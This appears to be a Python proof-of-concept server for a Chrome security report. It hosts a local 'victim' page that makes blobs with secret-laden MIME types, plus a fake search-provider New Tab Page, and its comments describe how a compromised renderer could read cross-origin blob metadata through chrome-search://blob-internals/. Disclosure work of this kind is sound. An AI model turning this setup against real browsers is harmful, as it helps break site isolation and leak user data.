#!/usr/bin/env python3
"""
Serves two origins for the POC:

  * HTTP  on 127.0.0.1:8080  -> "victim" origin that creates cross-origin blobs.
  * HTTPS on 127.0.0.1:8443  -> third-party search-provider New Tab Page
                                (the page Chrome loads for chrome://newtab when
                                a non-Google default search engine sets a
                                new_tab_url). This origin's renderer becomes the
                                Instant process and is handed the chrome-search
                                URLLoaderFactory by the browser.

The HTTPS server uses a freshly generated self-signed certificate. Run Chrome
with --ignore-certificate-errors so the navigation commits.
"""

import http.server
import os
import ssl
import subprocess
import tempfile
import threading


VICTIM_HTML = b"""<!doctype html>
<title>victim origin</title>
<h1>Victim origin (http://localhost:8080)</h1>
<p>This page creates blobs whose metadata should be private to this origin.</p>
<script>
  // Create a few blobs with recognisable cross-origin secrets in their
  // metadata. A site-isolated renderer for a *different* origin must not be
  // able to learn any of this.
  const leaked = [];
  function makeBlob(mime, name) {
    // Put the "secret" in the MIME type so it shows up verbatim in
    // ViewBlobInternalsJob output (Content Type: ...).
    const b = new Blob(['x'.repeat(128)], {type: mime});
    const u = URL.createObjectURL(b);  // pin it in the registry
    leaked.push({u, b, name});
    document.body.insertAdjacentHTML(
        'beforeend', `<div>${name}: ${u}</div>`);
  }
  makeBlob('application/x-victim-secret-aaaa', 'secret-A');
  makeBlob('application/x-victim-secret-bbbb', 'secret-B');
  makeBlob('text/x-session-token-01234567', 'session-token');
  document.title = 'victim-ready';
</script>
"""

NTP_HTML = b"""<!doctype html>
<title>3P remote NTP</title>
<h1>Third-party search-provider New Tab Page (https://localhost:8443)</h1>
<p>This is what a non-Google default-search-engine serves as its
<code>new_tab_url</code>.  Chrome loads it in the <i>Instant</i> renderer and
gives that renderer a <code>chrome-search://</code> URLLoaderFactory.</p>
<p>A compromised version of this renderer (simulated by the patch in
<code>child_url_loader_factory_bundle.cc</code>) calls
<code>CreateLoaderAndStart()</code> on that factory with
<code>chrome-search://blob-internals/</code> and dumps the response &mdash;
which contains <b>profile-wide, cross-origin</b> blob metadata &mdash; to
stderr.</p>
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):  # noqa: N802
        if self.path.startswith('/ntp'):
            body = NTP_HTML
        elif self.path.startswith('/victim'):
            body = VICTIM_HTML
        else:
            body = b'ok'
        self.send_response(200)
        self.send_header('Content-Type', 'text/html; charset=utf-8')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        pass  # quiet


def make_self_signed_cert(tmp):
    key = os.path.join(tmp, 'key.pem')
    crt = os.path.join(tmp, 'crt.pem')
    subprocess.check_call([
        'openssl', 'req', '-x509', '-newkey', 'rsa:2048',
        '-keyout', key, '-out', crt, '-sha256', '-days', '2', '-nodes',
        '-subj', '/CN=localhost',
        '-addext', 'subjectAltName=DNS:localhost',
    ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    return key, crt


def main():
    # Plain HTTP "victim" origin.
    http_srv = http.server.ThreadingHTTPServer(('127.0.0.1', 8080), Handler)
    threading.Thread(target=http_srv.serve_forever, daemon=True).start()
    print('[server] victim origin:  http://localhost:8080/victim.html')

    # HTTPS "remote NTP" origin.
    tmp = tempfile.mkdtemp()
    key, crt = make_self_signed_cert(tmp)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(crt, key)
    https_srv = http.server.ThreadingHTTPServer(('127.0.0.1', 8443), Handler)
    https_srv.socket = ctx.wrap_socket(https_srv.socket, server_side=True)
    print('[server] remote NTP:     https://localhost:8443/ntp.html')
    print('[server] ready.')
    https_srv.serve_forever()


if __name__ == '__main__':
    main()
